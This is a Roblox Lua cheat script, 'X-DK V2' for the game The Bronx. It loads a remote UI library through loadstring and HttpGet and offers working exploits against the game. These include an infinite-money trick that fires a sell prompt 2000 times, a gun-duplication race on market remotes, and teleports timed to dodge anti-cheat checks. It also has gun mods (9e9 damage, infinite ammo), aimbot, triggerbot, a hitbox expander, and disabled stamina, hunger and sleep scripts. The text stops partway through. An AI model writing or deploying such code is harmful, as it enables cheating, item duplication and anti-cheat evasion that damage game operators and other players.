local Rayfield = loadstring(game:HttpGet('https://[Log in to view URL]'))()
local executor = identifyexecutor and identifyexecutor() or "Unknown Executor"
local customTheme = {
TextColor = Color3.fromRGB(255, 255, 255),
Background = Color3.fromRGB(15, 15, 15),
Topbar = Color3.fromRGB(15, 15, 15),
Shadow = Color3.fromRGB(255, 255, 255),
NotificationBackground = Color3.fromRGB(0, 0, 0),
NotificationActionsBackground = Color3.fromRGB(35, 0, 70),
TabBackground = Color3.fromRGB(15, 15, 15),
TabStroke = Color3.fromRGB(15, 15, 15),
TabBackgroundSelected = Color3.fromRGB(15, 15, 15),
TabTextColor = Color3.fromRGB(149, 149, 149),
SelectedTabTextColor = Color3.fromRGB(255, 255, 255),
ElementBackground = Color3.fromRGB(15, 15, 15),
ElementBackgroundHover = Color3.fromRGB(15, 15, 15),
SecondaryElementBackground = Color3.fromRGB(15, 15, 15),
ElementStroke = Color3.fromRGB(77, 251, 16),
SecondaryElementStroke = Color3.fromRGB(77, 251, 16),
SliderBackground = Color3.fromRGB(255, 255, 255),
SliderProgress = Color3.fromRGB(77, 251, 16),
SliderStroke = Color3.fromRGB(77, 251, 16),
ToggleBackground = Color3.fromRGB(15, 15, 15),
ToggleEnabled = Color3.fromRGB(77, 251, 16),
ToggleDisabled = Color3.fromRGB(255, 255, 255),
ToggleEnabledStroke = Color3.fromRGB(77, 251, 16),
ToggleDisabledStroke = Color3.fromRGB(15, 15, 15),
ToggleEnabledOuterStroke = Color3.fromRGB(255, 255, 255),
ToggleDisabledOuterStroke = Color3.fromRGB(255, 255, 255),
DropdownSelected = Color3.fromRGB(149, 149, 149),
DropdownUnselected = Color3.fromRGB(15, 15, 15),
InputBackground = Color3.fromRGB(15, 15, 15),
InputStroke = Color3.fromRGB(77, 251, 16),
}
local Window = Rayfield:CreateWindow({
Name = "X-DK V2 | The Bronx | "..executor,
Icon = 112029241653427,
LoadingTitle = "",
LoadingSubtitle = "",
Theme = customTheme,
DisableRayfieldPrompts = false,
DisableBuildWarnings = false,
ConfigurationSaving = {
Enabled = false,
FolderName = "GreenBlackThemeHub",
FileName = "BigHub"
},
Discord = {
Enabled = false,
Invite = "",
RememberJoins = true
},
KeySystem = false,
KeySettings = {
Title = "",
Subtitle = "Authentication Required",
Note = "Get your key at: discord.gg/dkshub",
FileName = "jc_hub_key",
SaveKey = true,
GrabKeyFromSite = false,
Key = {""},
Theme = customTheme
}
})
uis = game:GetService("UserInputService")
TweenService = game:GetService("TweenService")
existingGui = game.CoreGui:FindFirstChild("CustomScreenGui")
if existingGui then
existingGui:Destroy()
end
ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "CustomScreenGui"
Frame = Instance.new("Frame")
TextButton = Instance.new("TextButton")
ScreenGui.Parent = game.CoreGui
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderSizePixel = 0
Frame.Position = UDim2.new(1, -120, 0, 30)
Frame.Size = UDim2.new(0, 60, 0, 60)
imageLabel = Instance.new("ImageLabel")
imageLabel.Parent = Frame
imageLabel.Size = UDim2.new(1, 0, 1, 0)
imageLabel.Position = UDim2.new(0, 0, 0, 0)
imageLabel.Image = "rbxassetid://112029241653427"
imageLabel.BackgroundTransparency = 1
TextButton.Parent = imageLabel
TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton.BackgroundTransparency = 1.000
TextButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton.BorderSizePixel = 0
TextButton.Size = UDim2.new(1, 0, 1, 0)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = ""
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextSize = 27
function createTextShadow(button)
shadowOffset = 2
shadowLabel = Instance.new("TextLabel", Frame)
shadowLabel.Size = button.Size
shadowLabel.Position = button.Position + UDim2.new(0, shadowOffset, 0, shadowOffset)
shadowLabel.Text = button.Text
shadowLabel.TextScaled = button.TextScaled
shadowLabel.Font = button.Font
shadowLabel.BackgroundTransparency = 1
shadowLabel.TextSize = button.TextSize
shadowLabel.TextTransparency = 0.5
end
createTextShadow(TextButton)
glowStroke = Instance.new("UIStroke", Frame)
glowStroke.Thickness = 3
glowStroke.Transparency = 0.8
glowStroke.Color = Color3.fromRGB(77,251,16,255)
gradient = Instance.new("UIGradient", glowStroke)
gradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(77,251,16,255)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 20, 147))
}
gradient.Rotation = 45
tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
tweenShowFrame = TweenService:Create(Frame, tweenInfo, {Position = UDim2.new(0.5, 0, 0.3, 0)})
function createGlowEffect(stroke)
glowTweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, -1, true)
tween = TweenService:Create(stroke, glowTweenInfo, {Transparency = 0.1, Thickness = 5})
tween:Play()
end
createGlowEffect(glowStroke)
TextButton.MouseButton1Click:Connect(function()
Rayfield:SetVisibility(not Rayfield:IsVisible())
end)
function makeDraggable(frame)
dragging = nil
dragStart = nil
startPos = nil
lastInputChangedConnection = nil
function beginDrag(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = frame.Position
if lastInputChangedConnection then
lastInputChangedConnection:Disconnect()
end
lastInputChangedConnection = uis.InputChanged:Connect(function(newInput)
if newInput.UserInputType == Enum.UserInputType.MouseMovement or newInput.UserInputType == Enum.UserInputType.Touch then
delta = newInput.Position - dragStart
frame.Position = UDim2.new(
startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y
)
end
end)
end
end
function endDrag(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = false
if lastInputChangedConnection then
lastInputChangedConnection:Disconnect()
lastInputChangedConnection = nil
end
end
end
frame.InputBegan:Connect(beginDrag)
frame.InputEnded:Connect(endDrag)
for _, child in ipairs(frame:GetDescendants()) do
if child:IsA("GuiObject") then
child.InputBegan:Connect(beginDrag)
child.InputEnded:Connect(endDrag)
end
end
uis.InputEnded:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragging = false
if lastInputChangedConnection then
lastInputChangedConnection:Disconnect()
lastInputChangedConnection = nil
end
end
end)
end
makeDraggable(Frame)
local MainTab = Window:CreateTab("Main", nil)
MainTab:CreateSection("Inf money")
local Paragraph = MainTab:CreateParagraph({
Title = "Instructions",
Content = "Using infinite money is easy — just make an Ice-Fruit Cup, then click the 'Inf Money' button to instantly max out your dirty money."
})
MainTab:CreateButton({
Name = "Infinite Money Vulnerability",
Callback = function()
local player = game:GetService("Players").LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local hrp = character:WaitForChild("HumanoidRootPart")
local originalPos = hrp.Position
local function teleportTo(x, y, z)
local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
local hrp = player.Character:FindFirstChild("HumanoidRootPart")
if humanoid and hrp then
humanoid:ChangeState(0)
local timeout = 5
local startTime = tick()
repeat task.wait() until not player:GetAttribute("LastACPos") or (tick() - startTime) > timeout
hrp.CFrame = CFrame.new(x, y, z)
end
end
local sellPart = workspace:FindFirstChild("IceFruit Sell")
local sellPrompt = sellPart and sellPart:FindFirstChildWhichIsA("ProximityPrompt")
if not (sellPart and sellPrompt) then
warn("SellPart or ProximityPrompt not found.")
return
end
task.wait(0.5)
teleportTo(sellPart.Position.X, sellPart.Position.Y, sellPart.Position.Z)
task.wait(1)
local success, err = pcall(function()
for _ = 1, 2000 do
fireproximityprompt(sellPrompt, 0)
end
end)
if not success then
warn("Proximity prompt interaction failed:", err)
end
task.wait(1)
teleportTo(originalPos.X, originalPos.Y, originalPos.Z)
end
})
local SharedStorage = game.ReplicatedStorage
local function InvokeServer(Remote, ...)
return Remote:InvokeServer(...)
end
local function FindItem(Item)
return game.Players.LocalPlayer.Backpack:FindFirstChild(Item) or game.Players.LocalPlayer.Character:FindFirstChild(Item)
end
local function AutoBuySupplies()
local Items = {
"Ice-Fruit Bag",
"Ice-Fruit Cupz",
"FijiWater",
"FreshWater",
}
for _, item in ipairs(Items) do
local ItemStock = SharedStorage.ExoticStock:FindFirstChild(item)
if not ItemStock or ItemStock.Value == 0 then
warn("Item out of stock:", item)
return false
end
end
for _, item in ipairs(Items) do
InvokeServer(SharedStorage.ExoticShopRemote, item)
task.wait(1.25)
end
for _, item in ipairs(Items) do
if not FindItem(item) then
warn("Failed to acquire:", item)
return false
end
end
return true
end
MainTab:CreateButton({
Name = "Buy Ice-Fruitz-Itemz",
Callback = function()
local success = AutoBuySupplies()
if success then
Rayfield:Notify({
Title = "AutoBuy",
Content = "Items purchased successfully!",
Duration = 5,
Image = 4483362458,
})
else
Rayfield:Notify({
Title = "AutoBuy",
Content = "Failed to purchase items!",
Duration = 5,
Image = 4483362458,
})
end
end,
})
MainTab:CreateSection("Market Dupe")
local Paragraph = MainTab:CreateParagraph({
Title = "Instructions",
Content = "To use Market Dupe, equip the gun you want to duplicate and press the button. Addtionally avoid having more than two of the same item in your inventory, or the duplication will fail."
})
MainTab:CreateButton({
Name = "Duplicate Gun",
Callback = function()
local ReplicatedStorage = cloneref(game:GetService("ReplicatedStorage"))
local Players = cloneref(game:GetService("Players"))
local Player = Players.LocalPlayer
local Character = Player.Character or Player.CharacterAdded:Wait()
local Backpack = Player:WaitForChild("Backpack")
local Tool = Character:FindFirstChildOfClass("Tool")
if not Tool then return end
Tool.Parent = Backpack
task.wait(0.5)
local ToolName = Tool.Name
local ToolId
local marketConnection = ReplicatedStorage.MarketItems.ChildAdded:Connect(function(item)
if item.Name == ToolName then
local owner = item:WaitForChild("owner", 2)
if owner and owner.Value == Player.Name then
ToolId = item:GetAttribute("SpecialId")
end
end
end)
task.spawn(function()
ReplicatedStorage.ListWeaponRemote:FireServer(ToolName, 99999)
end)
task.wait(0.35)
task.spawn(function()
ReplicatedStorage.BackpackRemote:InvokeServer("Store", ToolName)
end)
task.wait(3)
if ToolId then
task.spawn(function()
ReplicatedStorage.BuyItemRemote:FireServer(ToolName, "Remove", ToolId)
end)
end
task.spawn(function()
ReplicatedStorage.BackpackRemote:InvokeServer("Grab", ToolName)
end)
marketConnection:Disconnect()
task.wait(1)
end
})
MainTab:CreateSection("Teleportation")
local teleportLocations = {
{Name = "Dripstore👕", Position = Vector3.new(67459, 10489, 551)},
{Name = "Bank🏦", Position = Vector3.new(-204, 284, -1223)},
{Name = "Ice Box💎", Position = Vector3.new(-193, 284, -1169)},
{Name = "Bank tools / Roof💰", Position = Vector3.new(-384, 340, -557)},
{Name = "Jamaican Food🍟", Position = Vector3.new(-670, 254, -810)},
{Name = "Deli and Grill🍗", Position = Vector3.new(-746, 254, -906)},
{Name = "Chicken and Wings🐓", Position = Vector3.new(964, 254, -813)},
{Name = "Gunstore [1]🔫", Position = Vector3.new(-1003, 254, -817)},
{Name = "Gunstore [2]🔫", Position = Vector3.new(-202, 284, -798)},
{Name = "Gunstore [3]🔫", Position = Vector3.new(72425, 128856, -1082)},
{Name = "Gunstore [4]🔫", Position = Vector3.new(60822, 87609, -352)},
{Name = "Pawnshop💈", Position = Vector3.new(-1051, 254, -815)},
{Name = "Laundermat🧺", Position = Vector3.new(-990, 254, -686)},
{Name = "Backpack🎒", Position = Vector3.new(-670, 254, -681)},
{Name = "Tatoo✒️", Position = Vector3.new(-637, 254, -591)},
{Name = "Penthouse Cook Pot🏠", Position = Vector3.new(-614, 356, -683)},
{Name = "New Penthouse🏚️", Position = Vector3.new(-597, 356, -714)},
{Name = "Old Penthouse🏡", Position = Vector3.new(-124, 417, -575)},
{Name = "Dollar Central💸", Position = Vector3.new(-389, 254, -1082)},
{Name = "Dealership🚗", Position = Vector3.new(-389, 253, -1232)},
{Name = "mcdonalds🍟", Position = Vector3.new(-999, 254, -1134)},
}
local player = game.Players.LocalPlayer
local function teleport(x, y, z)
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
local hrp = character:WaitForChild("HumanoidRootPart")
humanoid:ChangeState(0)
repeat task.wait() until not player:GetAttribute("LastACPos")
hrp.CFrame = CFrame.new(x, y, z)
end
local selectedTeleport = teleportLocations[1]
local locationNames = {}
for _, location in ipairs(teleportLocations) do
table.insert(locationNames, location.Name)
end
MainTab:CreateDropdown({
Name = "Locations",
Options = locationNames,
CurrentOption = {locationNames[1]},
MultipleOptions = false,
Flag = "TeleportDropdown",
Callback = function(option)
for _, location in ipairs(teleportLocations) do
if location.Name == option[1] then
selectedTeleport = location
break
end
end
end
})
MainTab:CreateButton({
Name = "Teleport to Location",
Callback = function()
if selectedTeleport then
teleport(selectedTeleport.Position.X, selectedTeleport.Position.Y, selectedTeleport.Position.Z)
end
end
})
MainTab:CreateSection("GUI's")
local PlayerGui = game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")
local guiMap = {
["Crafting"] = {"CraftGUI", "Main", "Visible"},
["Megaphone List"] = {"Bronx MessageList", "Holder", "Visible"},
["Animations"] = {"Animations", "Frame", "Visible"},
["Bronx Market"] = {"Bronx Market 2", nil, "Enabled"},
["Bronx Tattoos"] = {"Bronx TATTOOS", nil, "Enabled"},
["Bronx Clothing"] = {"Bronx CLOTHING", nil, "Enabled"},
}
local options = {}
for name in pairs(guiMap) do
table.insert(options, name)
end
local selected = {}
MainTab:CreateDropdown({
Name = "Select GUIs",
CurrentOption = {},
MultipleOptions = true,
Options = options,
Flag = "hiih",
Callback = function(Value)
selected = Value
end
})
MainTab:CreateToggle({
Name = "Open Selected GUIs",
CurrentValue = false,
Flag = "DKhi",
Callback = function(state)
for _, name in ipairs(selected) do
local path = guiMap[name]
local gui = PlayerGui:FindFirstChild(path[1])
if gui then
local target = path[2] and gui:FindFirstChild(path[2]) or gui
if target then
target[path[3]] = state
end
end
end
end
})
local CombatTab = Window:CreateTab("Combat", nil)
CombatTab:CreateSection("Fist Modifications")
local function supportsRequire()
return true
end
CombatTab:CreateToggle({
Name = "Anti-Cooldown Swing",
CurrentValue = false,
Flag = "AntiCooldownSwing",
Callback = function(value)
if not supportsRequire() then
Rayfield:Notify({
Title = "SleepyHub",
Content = "Your executor doesn't support this. We recommend using Wave/Synapse-Z",
Duration = 5,
Image = 4483362458,
})
return
end
local tool = game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Melee_Settings") then
local settings = require(tool.Melee_Settings)
settings.SwingCooldown = value and 0 or nil
end
end,
})
CombatTab:CreateToggle({
Name = "Anti-Cooldown Stomp",
CurrentValue = false,
Flag = "AntiCooldownStomp",
Callback = function(value)
if not supportsRequire() then
Rayfield:Notify({
Title = "SleepyHub",
Content = "Your executor doesn't support this. We recommend using Wave/Synapse-Z",
Duration = 5,
Image = 4483362458,
})
return
end
local tool = game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Melee_Settings") then
local settings = require(tool.Melee_Settings)
settings.StompCooldown = value and 0 or nil
end
end,
})
CombatTab:CreateToggle({
Name = "Anti-Cooldown Attack",
CurrentValue = false,
Flag = "AntiCooldownAttack",
Callback = function(value)
if not supportsRequire() then
Rayfield:Notify({
Title = "SleepyHub",
Content = "Your executor doesn't support this. We recommend using Wave/Synapse-Z",
Duration = 5,
Image = 4483362458,
})
return
end
local tool = game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Melee_Settings") then
local settings = require(tool.Melee_Settings)
settings.AttackCooldown = value and 0 or nil
end
end,
})
CombatTab:CreateSection("Weapon Modifications")
local Paragraph = CombatTab:CreateParagraph({Title = "Warning!", Content = "If the gun Mods dont work it is your exectuor please use a 80% unc one if wanna use gun mods,"})
CombatTab:CreateToggle({
Name = "1 Tap",
CurrentValue = false,
Callback = function(Value)
local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Setting") then
local setting = require(tool.Setting)
setting.BaseDamage = Value and 9e9 or 25
end
end
})
CombatTab:CreateToggle({
Name = "Infinite Ammo",
CurrentValue = false,
Callback = function(Value)
local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Setting") then
local setting = require(tool.Setting)
setting.LimitedAmmoEnabled = not Value
if Value then
setting.MaxAmmo = 100000000
setting.AmmoPerMag = 10000000
setting.Ammo = 100000000
end
end
end
})
CombatTab:CreateToggle({
Name = "Infinite Mag",
CurrentValue = false,
Callback = function(Value)
local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Setting") then
require(tool.Setting).AmmoPerMag = 1000000000
end
end
})
CombatTab:CreateToggle({
Name = "Infinite Range",
CurrentValue = false,
Callback = function(Value)
local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Setting") then
require(tool.Setting).Range = 9e9
end
end
})
CombatTab:CreateToggle({
Name = "Fully Automatic",
CurrentValue = false,
Callback = function(Value)
local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Setting") then
require(tool.Setting).Auto = 9e9
end
end
})
CombatTab:CreateToggle({
Name = "Disable Jamming",
CurrentValue = false,
Callback = function(Value)
local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Setting") then
require(tool.Setting).JamChance = 0
end
end
})
CombatTab:CreateToggle({
Name = "Disable Recoil",
CurrentValue = false,
Callback = function(Value)
local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Settings") then
local settings = require(tool.Settings)
settings.Recoil = Value and 0 or 1
end
end
})
CombatTab:CreateToggle({
Name = "Enable Sniper Mode",
CurrentValue = false,
Callback = function(Value)
local tool = game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Setting") then
require(tool.Setting).SniperEnabled = Value
end
end
})
CombatTab:CreateToggle({
Name = "Enable Auto Reload",
CurrentValue = false,
Callback = function(Value)
local tool = game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Setting") then
require(tool.Setting).AutoReload = Value
end
end
})
CombatTab:CreateSection("Aimbot")
local player = game.Players.LocalPlayer
local camera = workspace.CurrentCamera
local runService = game:GetService("RunService")
local aimbotEnabled = false
local aimPart = "HumanoidRootPart"
local function getNearestPlayer()
local closestPlayer = nil
local closestDistance = math.huge
for _, otherPlayer in ipairs(game.Players:GetPlayers()) do
if otherPlayer ~= player
and otherPlayer.Character
and otherPlayer.Character:FindFirstChild("Humanoid")
and otherPlayer.Character:FindFirstChild("HumanoidRootPart")
and otherPlayer.Character.Humanoid.Health > 0 then
local distance = (player.Character.HumanoidRootPart.Position - otherPlayer.Character.HumanoidRootPart.Position).Magnitude
if distance < closestDistance then
closestDistance = distance
closestPlayer = otherPlayer
end
end
end
return closestPlayer
end
local function lockCameraToPlayer()
local nearestPlayer = getNearestPlayer()
if nearestPlayer and nearestPlayer.Character and nearestPlayer.Character:FindFirstChild(aimPart) then
local target = nearestPlayer.Character[aimPart]
camera.CFrame = CFrame.new(camera.CFrame.Position, target.Position)
end
end
runService.RenderStepped:Connect(function()
if aimbotEnabled then
lockCameraToPlayer()
end
end)
CombatTab:CreateToggle({
Name = "Enable Aimbot",
CurrentValue = false,
Flag = "AimbotToggle",
Callback = function(Value)
aimbotEnabled = Value
end
})
CombatTab:CreateDropdown({
Name = "Aim Part",
Options = { "HumanoidRootPart", "Head" },
CurrentOption = "HumanoidRootPart",
Flag = "AimPartDropdown",
Callback = function(Value)
aimPart = Value[1]
end
})
CombatTab:CreateSection("Hitbox Expander")
local Players = game:GetService("Players")
local localPlayer = Players.LocalPlayer
local RunService = game:GetService("RunService")
local toggleEnabled = false
local hitboxSize = 25
local rainbowEnabled = false
local selectedColor = Color3.fromRGB(100, 100, 255)
local function GetRainbowColor()
local t = tick() * 2
return Color3.fromHSV((t % 1), 1, 1)
end
local function ApplyEffect()
for _, player in pairs(Players:GetPlayers()) do
if player ~= localPlayer and player.Character then
local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
local rootPart = player.Character:FindFirstChild("HumanoidRootPart")
if humanoid and humanoid.Health > 0 and rootPart and rootPart:IsA("Part") then
rootPart.Size = Vector3.new(hitboxSize, hitboxSize, hitboxSize)
rootPart.Transparency = 0.5
rootPart.Color = rainbowEnabled and GetRainbowColor() or selectedColor
rootPart.CanCollide = false
end
end
end
end
local function ResetEffect()
for _, player in pairs(Players:GetPlayers()) do
if player ~= localPlayer and player.Character then
local rootPart = player.Character:FindFirstChild("HumanoidRootPart")
if rootPart and rootPart:IsA("Part") then
rootPart.Size = Vector3.new(2, 2, 1)
rootPart.Transparency = 0
rootPart.Color = Color3.new(1, 1, 1)
rootPart.CanCollide = true
end
end
end
end
CombatTab:CreateToggle({
Name = "Enable Hitbox Expander",
CurrentValue = false,
Flag = "ToggleGiant",
Callback = function(Value)
toggleEnabled = Value
if Value then
ApplyEffect()
else
ResetEffect()
end
end,
})
CombatTab:CreateSlider({
Name = "Hitbox Multiplier",
Range = {5, 100},
Increment = 1,
Suffix = "Size",
CurrentValue = hitboxSize,
Flag = "HitboxSize",
Callback = function(Value)
hitboxSize = Value
if toggleEnabled then ApplyEffect() end
end,
})
CombatTab:CreateColorPicker({
Name = "Hitbox ColorPicker",
Color = selectedColor,
Flag = "HitboxColor",
Callback = function(Color)
selectedColor = Color
if toggleEnabled and not rainbowEnabled then
ApplyEffect()
end
end,
})
CombatTab:CreateToggle({
Name = "Rainbow Hitbox",
CurrentValue = false,
Flag = "RainbowToggle",
Callback = function(Value)
rainbowEnabled = Value
if toggleEnabled then
if Value then
local rainbowConnection
rainbowConnection = RunService.RenderStepped:Connect(function()
if not rainbowEnabled or not toggleEnabled then
rainbowConnection:Disconnect()
return
end
ApplyEffect()
end)
else
ApplyEffect()
end
end
end,
})
CombatTab:CreateSection("FOV Circle")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local localPlayer = Players.LocalPlayer
local mouse = localPlayer:GetMouse()
local aimCircleRadius = 100
local aimCircleThickness = 2
local circleColor = Color3.fromRGB(128, 0, 128)
local rainbowFOV = false
local aimCircle = nil
local fovEnabled = false
local function createAimCircle()
if not aimCircle then
aimCircle = Drawing.new("Circle")
aimCircle.Visible = true
aimCircle.Filled = false
aimCircle.Color = circleColor
aimCircle.Thickness = aimCircleThickness
end
aimCircle.Radius = aimCircleRadius
end
local hue = 0
local function getRainbowColor()
hue = (hue + 1) % 360
return Color3.fromHSV(hue / 360, 1, 1)
end
RunService.RenderStepped:Connect(function()
if fovEnabled then
if not aimCircle then
createAimCircle()
end
aimCircle.Position = Vector2.new(mouse.X, mouse.Y + 40)
aimCircle.Visible = true
aimCircle.Radius = aimCircleRadius
aimCircle.Thickness = aimCircleThickness
aimCircle.Color = rainbowFOV and getRainbowColor() or circleColor
else
if aimCircle then
aimCircle.Visible = false
end
end
end)
CombatTab:CreateToggle({
Name = "Enable FOV Circle",
CurrentValue = false,
Callback = function(Value)
fovEnabled = Value
if fovEnabled and not aimCircle then
createAimCircle()
end
end,
})
CombatTab:CreateSlider({
Name = "FOV Radius",
Range = {100, 300},
Increment = 5,
Suffix = "units",
CurrentValue = aimCircleRadius,
Callback = function(Value)
aimCircleRadius = Value
if aimCircle then
aimCircle.Radius = aimCircleRadius
end
end,
})
CombatTab:CreateSlider({
Name = "FOV Thickness",
Range = {1.5, 5},
Increment = 1,
Suffix = "thickness",
CurrentValue = aimCircleThickness,
Callback = function(Value)
aimCircleThickness = Value
if aimCircle then
aimCircle.Thickness = aimCircleThickness
end
end,
})
CombatTab:CreateColorPicker({
Name = "FOV Colorpicker",
Color = circleColor,
Callback = function(Value)
circleColor = Value
if aimCircle and not rainbowFOV then
aimCircle.Color = circleColor
end
end,
})
CombatTab:CreateToggle({
Name = "Rainbow FOV Circle",
CurrentValue = false,
Callback = function(Value)
rainbowFOV = Value
end,
})
CombatTab:CreateSection("Snap Lines")
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local Camera = workspace.CurrentCamera
local LocalPlayer = Players.LocalPlayer
local FOVRadius = 150
local MaxDistance = 300
local AimPartName = "HumanoidRootPart"
local arrowColor = Color3.fromRGB(255, 0, 0)
local arrowEnabled = false
local arrow = Drawing.new("Line")
arrow.Visible = false
arrow.Thickness = 2
arrow.Color = arrowColor
local function isInFOV(player)
local char = player.Character
if not char then return false end
local part = char:FindFirstChild("Head")
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not part or not humanoid or humanoid.Health <= 0 then return false end
local screenPos, onScreen = Camera:WorldToViewportPoint(part.Position)
if not onScreen then return false end
local mousePos = UserInputService:GetMouseLocation()
local dist = (Vector2.new(screenPos.X, screenPos.Y) - mousePos).Magnitude
return dist <= FOVRadius
end
local function getClosestPlayer()
local closest = nil
local shortest = MaxDistance
for _, player in ipairs(Players:GetPlayers()) do
if player ~= LocalPlayer and player.Character then
local char = player.Character
local hrp = char:FindFirstChild(AimPartName)
local humanoid = char:FindFirstChildOfClass("Humanoid")
if hrp and humanoid and humanoid.Health > 0 and isInFOV(player) then
local dist = (LocalPlayer.Character.HumanoidRootPart.Position - hrp.Position).Magnitude
if dist < shortest then
shortest = dist
closest = player
end
end
end
end
return closest
end
RunService.RenderStepped:Connect(function()
if not arrowEnabled then
arrow.Visible = false
return
end
local target = getClosestPlayer()
if target and target.Character then
local part = target.Character:FindFirstChild(AimPartName)
if part then
local screenPos, onScreen = Camera:WorldToViewportPoint(part.Position)
if onScreen then
local mousePos = UserInputService:GetMouseLocation()
arrow.From = mousePos
arrow.To = Vector2.new(screenPos.X, screenPos.Y)
arrow.Color = arrowColor
arrow.Visible = true
return
end
end
end
arrow.Visible = false
end)
CombatTab:CreateToggle({
Name = "Enable Snapline",
CurrentValue = false,
Callback = function(value)
arrowEnabled = value
if not value then
arrow.Visible = false
end
end
})
CombatTab:CreateColorPicker({
Name = "Snapline Colorpicker",
Color = arrowColor,
Callback = function(color)
arrowColor = color
end
})
CombatTab:CreateSection("TriggerBot")
local player = game:GetService("Players").LocalPlayer
local mouse = player:GetMouse()
local runService = game:GetService("RunService")
local autoClickEnabled = false
local clickDelay = 0.1
local Toggle = CombatTab:CreateToggle({
Name = "TriggerBot",
CurrentValue = false,
Callback = function(Value)
autoClickEnabled = Value
end,
})
local Slider = CombatTab:CreateSlider({
Name = "Clicking Delay",
Range = {0.05, 1},
Increment = 0.05,
Suffix = "s",
CurrentValue = 0.1,
Callback = function(Value)
clickDelay = Value
end,
})
task.spawn(function()
while true do
if autoClickEnabled and mouse.Target and mouse.Target.Parent:FindFirstChild("Humanoid") and mouse.Target.Parent.Name ~= player.Name then
mouse1press()
task.wait()
mouse1release()
task.wait(clickDelay)
else
task.wait(0.05)
end
end
end)
local MiscTab = Window:CreateTab("Misc", nil)
MiscTab:CreateSection("In-Game")
local AntiStaminaEnabled = false
MiscTab:CreateToggle({
Name = "Inf Stamina",
CurrentValue = false,
Callback = function(Value)
AntiStaminaEnabled = Value
if Value then
task.spawn(function()
while AntiStaminaEnabled do
task.wait(1)
local player = game.Players.LocalPlayer
if player and player:FindFirstChild("PlayerGui") then
local staminaScript = player.PlayerGui:FindFirstChild("Run")
and player.PlayerGui.Run:FindFirstChild("Frame")
and player.PlayerGui.Run.Frame:FindFirstChild("Frame")
and player.PlayerGui.Run.Frame.Frame:FindFirstChild("Frame")
and player.PlayerGui.Run.Frame.Frame.Frame:FindFirstChild("StaminaBarScript")
if staminaScript then
staminaScript.Disabled = true
end
end
end
end)
end
end
})
local AntiHungerEnabled = false
MiscTab:CreateToggle({
Name = "Inf Hunger",
CurrentValue = false,
Callback = function(Value)
AntiHungerEnabled = Value
if Value then
task.spawn(function()
while AntiHungerEnabled do
task.wait(1)
local player = game.Players.LocalPlayer
if player and player:FindFirstChild("PlayerGui") then
local hungerGui = player.PlayerGui:FindFirstChild("Hunger")
if hungerGui then
local hungerScript = hungerGui:FindFirstChild("Frame")
and hungerGui.Frame:FindFirstChild("Frame")
and hungerGui.Frame.Frame:FindFirstChild("Frame")
and hungerGui.Frame.Frame.Frame:FindFirstChild("HungerBarScript")
if hungerScript then
hungerScript.Disabled = true
end
end
end
end
end)
end
end
})
local AntiSleepEnabled = false
MiscTab:CreateToggle({
Name = "Inf Sleep",
CurrentValue = false,
Callback = function(Value)
AntiSleepEnabled = Value
if Value then
task.spawn(function()
while AntiSleepEnabled do
task.wait(1)
local player = game.Players.LocalPlayer
if player and player:FindFirstChild("PlayerGui") then
local sleepGui = player.PlayerGui:FindFirstChild("SleepGui")
if sleepGui then
local sleepScript = sleepGui:FindFirstChild("Frame")
and sleepGui.Frame:FindFirstChild("sleep")
and sleepGui.Frame.sleep:FindFirstChild("SleepBar")
and sleepGui.Frame.sleep.SleepBar:FindFirstChild("sleepScript")
if sleepScript then
sleepScript.Disabled = true
end
end
end
end
end)
end
end
})
local AntiFallEnabled = false
